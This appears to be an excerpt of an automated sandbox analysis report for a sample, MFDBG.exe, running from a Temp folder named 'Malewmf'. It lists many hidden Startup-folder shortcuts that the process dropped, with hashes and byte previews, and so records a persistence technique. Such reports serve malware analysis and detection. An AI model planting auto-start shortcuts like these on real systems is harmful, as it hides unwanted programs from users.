File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932930127889105
Encrypted:	false
SSDEEP:	24:8YBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8W4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	539F1F26A9D3EC203FAD482D1E10E468
SHA1:	4F747C3735E6D44B84F40826515E66798632B140
SHA-256:	7353D96834F7BB3A58D3183DC03B534EF312E4F8C57B32186140AE5FC45DA8EE
SHA-512:	D7E3E058CF77CB95C0C191AE09912DDD773A5240047FDFEBCDF186A6C5C10E55854D99B1473CE4BD4A383E5249AF5A3B4A27D1905671AEC451BC1348EBBEBE2D
Malicious:	false
Preview:	L..................F....".......d....y.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bc6d44af05e14824b7274bd7d2296c41.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9226478319179705
Encrypted:	false
SSDEEP:	24:8FWBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	972E65031D8A832F98D715F928888191
SHA1:	D340F9CD3475EC7F67C8810ECFA8F60FFD2B0EF2
SHA-256:	94B700B13E8B4482E76976355A92EF9BC27B281350EA44B9FB16E1F120C80BF5
SHA-512:	F99C180B992D709CC26DC8ED4735FC2AA2A95C9097331617063592020CE93F6A5CA795B6F5484A61053673834EACDE746999FF3F715968DD6CB3DBA9FA73D684
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd17416a66b8436c81fbf5bf32e75e46.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925105824346167
Encrypted:	false
SSDEEP:	24:8SBfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8A9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	00159881CF9169FB2252F862DD69C924
SHA1:	7208300E52EB55D2E0B0ED661872B86500A8F4EB
SHA-256:	AA064D9E54D1AA555BB4F2773CCE2B5709D660BBEEA1AFC6DA4E739805DD803B
SHA-512:	1D6F12B3A9FCB08E10090BD8455224173019446E2E488F0D52384FCDA7B82558396EDD0596FFB422E407768C266E1F6A38BAC7452E91A22923140B1C90FC5E7B
Malicious:	false
Preview:	L..................F....".......d.....>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd17f4d0fe2a415197ba84208543e21a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929061969716804
Encrypted:	false
SSDEEP:	24:85TBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87ETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AAB7150F3FA442A09E43F6F6FCD963C2
SHA1:	23CA45BC1BAA1DF7437FCCEDDD09901849BF1935
SHA-256:	10C8E7F8D24B707A3F725427895D2129778DA4E898BD8F804E24D8263366E215
SHA-512:	7145748DF99EA55911B62062F20074395B865E3C49A5D35EA1397320D60EB88990C1DE8B90C7ACBCCEEC47CCBA57F5259F562A6333C55FF7849908F0383117CF
Malicious:	false
Preview:	L..................F....".......d......<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd465e8b637d4cc79ac948b8ac6dd6a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928184029256583
Encrypted:	false
SSDEEP:	24:8PBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	341F0D7B5D830FDC6831AEABB0D3DF32
SHA1:	C0E3BF0E2A7495277E297D0FDF457DA93E50B8AF
SHA-256:	DF4D6250EEECE3DEDE56420EF20759BE7E182CE775DEADDDC34EDC834166536E
SHA-512:	1399E222483719408681A176BA46F3B10EE9FA315362673F0186D00095F7F25E8E1F510F02F6D2CCBE094EC3CE90D081739998BAF0CCF8440CA9E82155B4C08C
Malicious:	false
Preview:	L..................F....".......d.....>\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd64922bc23b4ccc86a48c01ec62bdf3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9301589851333985
Encrypted:	false
SSDEEP:	24:8CBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DF177527111AB9D7EC8D1BB19F594E87
SHA1:	77763D59DB2B0B6FF3499D1CE0A846D596564A06
SHA-256:	A8CB0FB4D8BF767D38088760BCA884AB8641C6C9E1123AEDE6088CAD8823BC43
SHA-512:	9EB63399804064D597033A6A9A9549E1AB6D63F1D672138FE25C78FC85CA611857E5D5C686A7BA16FD13472ED86186EC7833FE61972B31067AB3D8BA4197CE97
Malicious:	false
Preview:	L..................F....".......d....[.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bdee6357f6c44cc09eb37fe3e65ed7dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921868315940258
Encrypted:	false
SSDEEP:	24:8TBfMN8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VUaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E0D4E002203CEC82FD06847E617F6F85
SHA1:	0F7CA51522630D76E1D4AE463F8445A049AAE26F
SHA-256:	4ADEE6AD87DF5C0BB6974DFF31BA0746C71CC4A687A18B1A3D0E0A86945257C4
SHA-512:	841673A0217A51984A1BB5CC7BA1B3CF3E144FD8D80284E7462DE64BD32E4294F5599B6B11BE86EDFF5FBF140D8E449BF7A3796E1DB62DD01EF3F32B560F6025
Malicious:	false
Preview:	L..................F....".......d..../.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...'k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be028939d885480487399a1f9ba584c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926833489529155
Encrypted:	false
SSDEEP:	24:8hJiTBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hEETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	123583766FD8BD7A9CDAC3428C5C3E29
SHA1:	88BBC9619DD7421F1DC58F4507F0CCAC78126217
SHA-256:	1A3912B45EF2A4932276DDF3983BAD3637914232623375A4D255F6BC9FAE4AA3
SHA-512:	39CF31DEED4C6C6A072FD1EED53E9F0AA614E6D3F1D8F426B38DE32A639AAEA9E39D70089D0C5B1BD29A4EBC1D8885C0C18F31142FC440F186F1A87728C42C45
Malicious:	false
Preview:	L..................F....".......d...U6.<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be1b472c0c1b45ee848d67e87235f1c4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932461344650657
Encrypted:	false
SSDEEP:	24:8xa3Bf28EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7FAB045860F1F4DDC825B7FF80A24E6F
SHA1:	F769206EDCC9CD742F7BAB3A309F1A7C304EC8D3
SHA-256:	7B9ACF0E43E3AB572BBFE1058D9DFC8E6E20CCE16BA9C4FE5FA5AB6CC48FE921
SHA-512:	D538262B8D40D65E306E5A06F57CDB8AC93E0B76C500B7DF81063126804FD8498CEDDF86C58D4CEEDA9836FE23C124926CF3B92C16DF2A07D498EC606EC1D33E
Malicious:	false
Preview:	L..................F....".......d...[.._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be3e0245798a4224b34d9ee9a0a7d657.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924352738026983
Encrypted:	false
SSDEEP:	24:8Y2Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Y8BEvZ0yRO7DLO2zdxdRd1kyg
MD5:	04888D5ED2865B419B14D6027DC8E83A
SHA1:	5E0949BDCFF3769D2C703379E277F2A105E4F3B4
SHA-256:	3153FA2FEC86975EBB9A418E44B51A6A45E6E6AFCFFFB99FBCA12E2BC8F0469F
SHA-512:	5DA92A2635DBD6A8FB569613F51998D340D0FC4707CD8F506CC6AEF5736C0DE99D7FD7941C2FE262E4A140FB43AA6059F1A29937CA3C4D0E3B188D3AFB424213
Malicious:	false
Preview:	L..................F....".......d.....7&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bf00ac8092d34e2080945734fdbba1c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924750204968274
Encrypted:	false
SSDEEP:	24:8rBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CEC8D40B5C7F6B398E8645DF44F7E8FA
SHA1:	6971B0A0118EA06530AE37A320F85D2F518A4B3B
SHA-256:	C976D6A5582A158B451B3001D52A056B192BC7006B353E6AB9DB070E9D69FF33
SHA-512:	E1B4DCF067C4FD1AFA40A484D5105A175152CB4B11276981FFCD86F47B709B3E0DEA8402349185AAE5B444D05FF8E9C945872DEDFF7A92F20F768C93083D318F
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bfdcb133505a4d51a487911c1ca898d2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912890603169357
Encrypted:	false
SSDEEP:	24:8RBfmQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8reFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	47D1A8B038A6E8A56392895DD63D25DB
SHA1:	392BB580F03B0C717804CAD32562EE381D8C4437
SHA-256:	FE13FC4FBA213F68F7DB3144A1075A5DCC1B087DDEEF2E76F0EAECCEE3519F04
SHA-512:	C69E2463E781128A85B35109F6AD55FF4DB0FE7CDD7F0C60D0B62BDC1E4742D185BB0553CADB00AAD0282B0FE9299CF76807A63643A79854E2CC8AD3D679D6DB
Malicious:	false
Preview:	L..................F....".......d......9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....).9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bfeda46592ff464ebaeae8e45cb96243.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920284644055136
Encrypted:	false
SSDEEP:	24:8gBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	00EA54C21A9ABAA0F1752BB06D732998
SHA1:	8A872DF8DC5613AD332D1C16127A975853FF51F1
SHA-256:	A3678A8B72EEBA176581FB6D88BBEFD3CB2AAA8375D4E00A39A54A77F2377978
SHA-512:	E9D894375DA8C20AA0D658B62D879751E8EFCB90A8326C2858242EA6A19F4D4BABFF6008376BF473D7F9424F773750D617F1DBF1C0B4B59E462FF8B504A930A9
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c01b24c3f1c340ccb898de8656c800c8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
